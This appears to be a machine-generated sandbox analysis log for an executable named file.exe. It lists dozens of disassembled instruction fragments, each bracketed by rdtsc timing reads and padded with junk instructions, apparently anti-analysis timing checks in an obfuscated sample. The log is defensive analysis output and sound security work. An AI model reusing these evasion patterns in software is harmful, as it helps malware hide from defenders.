Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC1E72 second address: FC1E9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99511DF636h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pushad 0x0000000f popad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 ja 00007F99511DF626h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC1E9E second address: FC1EB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F9950E9A28Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC1EB2 second address: FC1ECB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F99511DF626h 0x0000000a jmp 00007F99511DF62Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC21B6 second address: FC21D4 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9950E9A286h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007F9950E9A292h 0x00000012 jbe 00007F9950E9A286h 0x00000018 jc 00007F9950E9A286h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9A682 second address: F9A699 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007F99511DF62Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9AA8E second address: F9AA95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9AB68 second address: F9AB6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9AE2F second address: F9AE33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B841 second address: F9B862 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp], eax 0x0000000b mov cl, C1h 0x0000000d lea eax, dword ptr [ebp+1248A342h] 0x00000013 mov cx, bx 0x00000016 nop 0x00000017 push eax 0x00000018 push edx 0x00000019 jnc 00007F99511DF628h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B862 second address: F7B239 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A28Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F9950E9A28Eh 0x00000010 jo 00007F9950E9A288h 0x00000016 push edi 0x00000017 pop edi 0x00000018 popad 0x00000019 nop 0x0000001a pushad 0x0000001b jmp 00007F9950E9A293h 0x00000020 jl 00007F9950E9A28Bh 0x00000026 and dx, F160h 0x0000002b popad 0x0000002c call dword ptr [ebp+12453227h] 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F9950E9A297h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7B239 second address: F7B241 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7B241 second address: F7B24A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC6889 second address: FC68A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99511DF633h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jno 00007F99511DF626h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCAF3A second address: FCAF57 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9950E9A286h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b jmp 00007F9950E9A290h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCAF57 second address: FCAF80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F99511DF62Ah 0x0000000d jmp 00007F99511DF637h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCAF80 second address: FCAF94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A28Fh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB4B1 second address: FCB4C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 je 00007F99511DF626h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB4C2 second address: FCB4DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9950E9A296h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB4DD second address: FCB501 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F99511DF626h 0x00000009 jmp 00007F99511DF639h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB682 second address: FCB687 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB687 second address: FCB68C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB97B second address: FCB97F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCBAE8 second address: FCBAEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCBAEE second address: FCBAF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCBAF2 second address: FCBAF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCBDAE second address: FCBDB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F9950E9A286h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3215 second address: FD3226 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99511DF62Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4731B second address: F47320 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F47320 second address: F4734E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F99511DF62Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jl 00007F99511DF626h 0x00000013 jnc 00007F99511DF626h 0x00000019 popad 0x0000001a je 00007F99511DF62Eh 0x00000020 pushad 0x00000021 popad 0x00000022 jne 00007F99511DF626h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD8532 second address: FD8543 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9950E9A28Bh 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD8543 second address: FD8547 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD8547 second address: FD8557 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F9950E9A286h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD8557 second address: FD855B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD882B second address: FD882F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD882F second address: FD8835 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD89BB second address: FD89DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A294h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007F9950E9A29Ah 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD89DD second address: FD89E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD89E3 second address: FD89E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD8C9A second address: FD8C9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD8C9E second address: FD8CBC instructions: 0x00000000 rdtsc 0x00000002 js 00007F9950E9A286h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007F9950E9A28Ch 0x00000010 jnl 00007F9950E9A286h 0x00000016 jne 00007F9950E9A28Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD8DE2 second address: FD8E07 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F99511DF626h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F99511DF634h 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDE000 second address: FDE00D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F9950E9A286h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3154 second address: FE3158 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE25F3 second address: FE260D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9950E9A28Eh 0x00000009 pop ecx 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2B38 second address: FE2B40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2B40 second address: FE2B4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2CA3 second address: FE2CB3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F99511DF626h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2CB3 second address: FE2CB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2CB7 second address: FE2CD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99511DF638h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE881E second address: FE882B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jo 00007F9950E9A286h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B177 second address: F9B17D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B17D second address: F9B1EA instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9950E9A286h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007F9950E9A288h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 0000001Ah 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 jl 00007F9950E9A2A3h 0x0000002f call 00007F9950E9A296h 0x00000034 mov dword ptr [ebp+1246CE57h], eax 0x0000003a pop edi 0x0000003b mov ebx, dword ptr [ebp+1248A381h] 0x00000041 mov cx, 8440h 0x00000045 mov ch, ah 0x00000047 add eax, ebx 0x00000049 adc cx, 9B81h 0x0000004e nop 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B1EA second address: F9B1F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F99511DF626h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEB631 second address: FEB642 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jnp 00007F9950E9A28Ch 0x0000000b jo 00007F9950E9A286h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEB642 second address: FEB64C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F99511DF626h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEB64C second address: FEB652 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF205E second address: FF207A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99511DF638h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF207A second address: FF207F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF207F second address: FF2093 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99511DF62Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF2680 second address: FF2686 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF290D second address: FF2911 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF2911 second address: FF2927 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007F9950E9A286h 0x00000010 jo 00007F9950E9A286h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF2927 second address: FF292B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF292B second address: FF294A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F9950E9A297h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF2C40 second address: FF2C44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF2C44 second address: FF2C50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF2C50 second address: FF2C69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99511DF62Bh 0x00000007 ja 00007F99511DF626h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF2C69 second address: FF2C6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB84E second address: FFB852 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB852 second address: FFB85C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB85C second address: FFB860 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB860 second address: FFB866 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB866 second address: FFB8A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99511DF62Ah 0x00000007 jno 00007F99511DF632h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jo 00007F99511DF63Dh 0x00000017 pushad 0x00000018 popad 0x00000019 jmp 00007F99511DF635h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB8A5 second address: FFB8B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9950E9A28Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB8B5 second address: FFB8C2 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F99511DF626h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFBA18 second address: FFBA2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9950E9A28Dh 0x00000009 popad 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFBA2D second address: FFBA59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F99511DF62Ch 0x0000000e jnl 00007F99511DF626h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F99511DF636h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFBA59 second address: FFBA6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A28Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFBBB5 second address: FFBBC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F99511DF62Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFBD15 second address: FFBD1F instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9950E9A286h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFBD1F second address: FFBD41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F99511DF637h 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFBD41 second address: FFBD4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F9950E9A286h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFBD4D second address: FFBD69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F99511DF62Ch 0x0000000e jbe 00007F99511DF628h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFBD69 second address: FFBD70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1003BCE second address: 1003BD4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1003BD4 second address: 1003BE7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jo 00007F9950E9A286h 0x00000009 jp 00007F9950E9A286h 0x0000000f pop edi 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1003D3B second address: 1003D40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1003D40 second address: 1003D48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1003D48 second address: 1003D4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1003FDC second address: 1003FE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1003FE0 second address: 1003FFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F99511DF62Eh 0x0000000c push edx 0x0000000d push edx 0x0000000e jne 00007F99511DF626h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1003FFE second address: 1004007 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004007 second address: 1004011 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F99511DF626h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10042AE second address: 10042B3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1004429 second address: 1004433 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F99511DF62Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100DC6A second address: 100DC8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F9950E9A286h 0x0000000a popad 0x0000000b popad 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 jmp 00007F9950E9A292h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10126ED second address: 10126F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10126F1 second address: 10126F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101E500 second address: 101E504 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
